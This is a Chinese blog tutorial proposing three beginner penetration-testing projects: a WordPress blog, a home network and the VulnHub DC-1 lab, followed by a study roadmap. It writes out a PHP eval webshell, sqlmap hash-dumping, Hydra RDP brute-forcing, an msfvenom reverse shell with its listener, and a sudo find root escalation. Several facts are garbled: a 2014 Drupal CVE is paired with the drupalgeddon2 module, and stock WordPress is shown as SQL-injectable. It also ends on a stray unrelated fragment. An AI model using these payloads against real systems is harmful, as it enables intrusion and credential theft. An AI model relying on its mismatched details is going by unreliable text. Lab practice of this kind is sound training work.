转行网络安全实战：3 个适合新手的个人项目（附实现步骤）
引言![]()
很多转行同学学了工具却没项目经验，简历只能写 “会用 Burp Suite”，面试时被问 “做过什么实战？” 就卡壳。其实新手不用等企业项目，3 个简单的个人项目就能积累经验 —— 既能练技术，又能写进简历，让面试官眼前一亮。本文的 3 个项目均为零基础可实现，附详细步骤，看完就能动手做。
一、项目 1：个人博客渗透测试（练 Web 漏洞利用，适合简历加分）
1. 项目目标
搭建个人博客（如 WordPress），模拟黑客视角进行渗透测试，发现并利用 SQL 注入、XSS、文件上传等漏洞，最终获取服务器控制权（getshell），生成渗透报告。
2. 实现步骤（总耗时：2 天）
步骤 1：搭建博客环境（1 小时）
- 用 Docker 快速部署 WordPress：
安装 Docker 后，执行命令：docker run -d -p 8080:80 --name wordpress -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=123456 -e WORDPRESS_DB_NAME=wordpress --link mysql:db wordpress；
同时启动 MySQL：docker run -d --name mysql -e MYSQL_ROOT_PASSWORD=123456 -e MYSQL_DATABASE=wordpress mysql:5.7；
访问http://localhost:8080，按提示完成 WordPress 安装（设置账号admin，密码admin123）。
步骤 2：信息收集（2 小时）
用 Nmap 扫描博客端口：nmap -sV 127.0.0.1 -p 8080，确认 8080 端口开放，服务为 Apache；
用 Wappalyzer 插件（Chrome 扩展）查看博客技术栈：WordPress 6.0 + PHP 7.4 + MySQL 5.7；
访问http://localhost:8080/wp-login.php，确认登录页存在（后续可测试暴力破解）。
步骤 3：漏洞扫描与利用（3 小时）
- SQL 注入测试：
访问博客文章页（如http://localhost:8080/?p=1），用 Burp 抓包，将p=1改为p=1’ and 1=1–，观察页面是否正常（正常则可能存在注入）；
用 Sqlmap 自动化注入：sqlmap -u “http://localhost:8080/?p=1” --dbs，获取数据库列表（含wordpress库），进一步导出wp_users表的账号密码哈希。
- 文件上传漏洞测试：
登录 WordPress 后台，进入 “外观→主题编辑器”，尝试上传恶意 PHP 文件（如shell.php，内容：<?php @eval($\_POST\['cmd'\]);?>）；
若上传成功，访问http://localhost:8080/wp-content/themes/twentytwentyone/shell.php，用中国蚁剑连接（URL 填该地址，密码cmd），成功 getshell。
步骤 4：生成渗透报告（2 小时）
- 报告结构：
项目背景：测试目标（个人 WordPress 博客）、测试范围（8080 端口）；
漏洞详情：
SQL 注入（高危）：漏洞位置（/?p=1）、利用步骤（Sqlmap 命令）、危害（可导出用户数据）；
文件上传（高危）：漏洞位置（主题编辑器）、利用步骤（上传 shell.php）、危害（获取服务器控制权）；
- 修复建议：SQL 注入用预编译语句，文件上传限制 PHP 文件上传、校验文件内容。
3. 转行价值
简历写法：“独立完成个人 WordPress 博客渗透测试项目，通过 Sqlmap 发现 SQL 注入漏洞并导出用户数据，利用主题编辑器文件上传漏洞 getshell，生成包含 2 个高危漏洞的渗透报告”；
技能提升：练信息收集、SQL 注入、文件上传、getshell，覆盖 Web 渗透核心流程。
二、项目 2：家庭网络安全审计（练内网安全，适合安全运维转行）
1. 项目目标
对家庭网络（含路由器、智能摄像头、电脑）进行安全审计，发现弱密码、未授权访问、端口开放等问题，提供整改方案，保障家庭网络安全。
2. 实现步骤（总耗时：1 天）
步骤 1：家庭网络拓扑梳理（1 小时）
查看路由器后台（如 192.168.1.1），获取所有设备的 IP 和 MAC 地址（如电脑 192.168.1.100、摄像头 192.168.1.103）；
记录设备类型、品牌（如小米摄像头、TP-Link 路由器），便于后续针对性测试。
步骤 2：设备安全扫描（3 小时）
- 路由器安全测试：
测试弱密码：尝试用默认密码（如 admin/admin）、常见密码（123456）登录路由器后台，若成功则存在弱密码问题；
查看端口开放：用 Nmap 扫描路由器 IP（192.168.1.1）：nmap -p 1-65535 192.168.1.1，若开放 22（SSH）、8080（管理端口）且无密码保护，存在风险。
- 智能摄像头测试：
- 查找摄像头默认端口（如 RTSP 端口 554），用 Nmap 扫描：nmap -p 554 192.168.1.103，若端口开放，尝试用默认账号（如 user/admin）登录 RTSP 流（工具：VLC 播放器，输入rtsp://192.168.1.103:554/stream1），若成功则存在未授权访问。
- 家庭电脑测试：
扫描开放端口：nmap -sV 192.168.1.100，若开放 3389（远程桌面）且无密码，存在远程登录风险；
检查弱密码：用 Hydra 爆破 Windows 账号密码：hydra -l Administrator -P pass.txt 192.168.1.100 rdp，若成功则需修改密码。
步骤 3：生成审计报告与整改方案（2 小时）
- 报告重点：
问题清单：路由器弱密码、摄像头未授权访问、电脑 3389 端口开放；
整改方案：
路由器：修改默认密码（8 位以上含特殊字符）、关闭不必要端口（如 22）；
摄像头：修改默认账号密码、禁用公网访问；
电脑：关闭 3389 端口、设置复杂密码（字母 + 数字 + 特殊字符）。
3. 转行价值
简历写法：“完成家庭网络安全审计项目，扫描 3 台设备（路由器、摄像头、电脑），发现 3 个安全问题（弱密码、未授权访问、端口开放），制定针对性整改方案，提升家庭网络安全性”；
技能提升：练内网设备扫描、弱密码检测、端口风险评估，贴合安全运维岗位需求。
三、项目 3：漏洞靶场闯关（练漏洞复现，适合渗透测试转行）
1. 项目目标
挑战 VulnHub 的 “DC-1” 靶场（免费，适合新手），通过信息收集、漏洞利用、提权，最终找到靶场隐藏的 “flag” 文件，完成闯关，积累漏洞复现经验。
2. 实现步骤（总耗时：3 天）
步骤 1：下载并启动靶场（1 小时）
下载 DC-1 靶场：VulnHub 官网（https://www.vulnhub.com/entry/dc-1,292/）下载 OVA 文件；
用 VMware 导入 OVA 文件，设置网络为 “桥接模式”，启动靶场（靶场无固定 IP，需扫描获取）。
步骤 2：信息收集与漏洞发现（2 小时）
扫描局域网 IP，找到靶场 IP：nmap -sn 192.168.1.0/24（假设靶场 IP 为 192.168.1.105）；
扫描靶场端口：nmap -sV 192.168.1.105，发现开放 80（Apache）、22（SSH）端口；
访问 80 端口（http://192.168.1.105），发现是 Drupal CMS 网站（版本 7.x）。
步骤 3：漏洞利用（4 小时）
- Drupal 漏洞利用：
查阅资料可知 Drupal 7.x 存在 SQL 注入漏洞（CVE-2014-3704），用 Metasploit 加载对应模块：use exploit/unix/webapp/drupal_drupalgeddon2；
设置参数：set RHOSTS 192.168.1.105→run，获取靶场 Shell。
- 查找第一个 flag：
在 Shell 中执行ls，找到flag1.txt，内容：“Every good CMS needs a config file - and so do you!”（提示找配置文件）；
查看 Drupal 配置文件sites/default/settings.php，找到数据库账号密码（dbuser:dbpass）。
步骤 4：提权（3 小时）
- 登录数据库：
- 执行mysql -u dbuser -p，输入密码dbpass，进入数据库，查看users表，发现管理员账号admin的密码哈希。
- 破解密码与提权：
用 John the Ripper 破解哈希：john --wordlist=rockyou.txt hash.txt，得到admin密码rosebud；
用admin/rosebud登录 Drupal 后台，通过 “模块管理” 上传 PHP 反弹 Shell（工具：msfvenom 生成 Shell：msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shell.php）；
启动 Metasploit 监听：use exploit/multi/handler→set PAYLOAD php/meterpreter/reverse_tcp→set LHOST 192.168.1.100→run；
访问shell.php，获取 Meterpreter 会话，执行sudo -l发现可无密码执行find命令，利用find提权：sudo find / -exec /bin/sh ; -quit，获取 root 权限。
步骤 5：找到所有 flag（1 小时）
- 执行find / -name “flag*.txt”，找到剩余 4 个 flag 文件，记录内容，完成闯关。
3. 转行价值
简历写法：“独立完成 VulnHub DC-1 靶场闯关项目，利用 Drupal SQL 注入漏洞获取 Shell，通过 John the Ripper 破解密码、find 命令提权，最终找到 5 个 flag 文件，积累 CMS 漏洞利用与 Linux 提权经验”；
技能提升：练 CMS 漏洞、SQL 注入、密码破解、Linux 提权，贴合渗透测试岗位核心需求。
总结
3 个项目均为零基础可实现，且能直接写进简历：博客渗透练 Web 漏洞，家庭审计练内网安全，靶场闯关练综合渗透。建议按 “项目 1→项目 3→项目 2” 的顺序做，逐步提升难度。评论区说说你想先做哪个项目，帮你补充细节！
网络安全学习路线&学习资源![]()
网络安全的知识多而杂，怎么科学合理安排？
下面给大家总结了一套适用于网安零基础的学习路线，应届生和转行人员都适用，学完保底6k！就算你底子差，如果能趁着网安良好的发展势头不断学习，日后跳槽大厂、拿到百万年薪也不是不可能！
初级网工
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）
2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）
4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）
恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k
到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？
【“脚本小子”成长进阶资源领取】
7、脚本编程（初级/中级/高级）
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.
零基础入门，建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习； 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime； ·Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完； ·用Python编写漏洞的exp,然后写一个简单的网络爬虫； ·PHP基本语法学习并书写一个简单的博客系统； 熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)； ·了解Bootstrap的布局或者CSS。
8、超级网工
这部分内容对零基础的同学来说还比较遥远，就不展开细说了，贴一个大概的路线。感兴趣的童鞋可以研究一下，不懂得地方可以【点这里】加我耗油，跟我学习交流一下。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话，可以【点这里】加我耗油发给你，大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程：
需要的话可以扫描下方卡片加我耗油发给你（都是无偿分享的），大家也可以一起学习交流一下。
网络安全学习路线&学习资源![]()
结语
网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。
特别声明：
此教程为纯技术分享！本书的目的决不是为那些怀有不良动机的人提供及技术支持！也不承担因为技术被滥用所产生的连带责任！本书的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失！！！
排序的正确用法，避免踩坑)
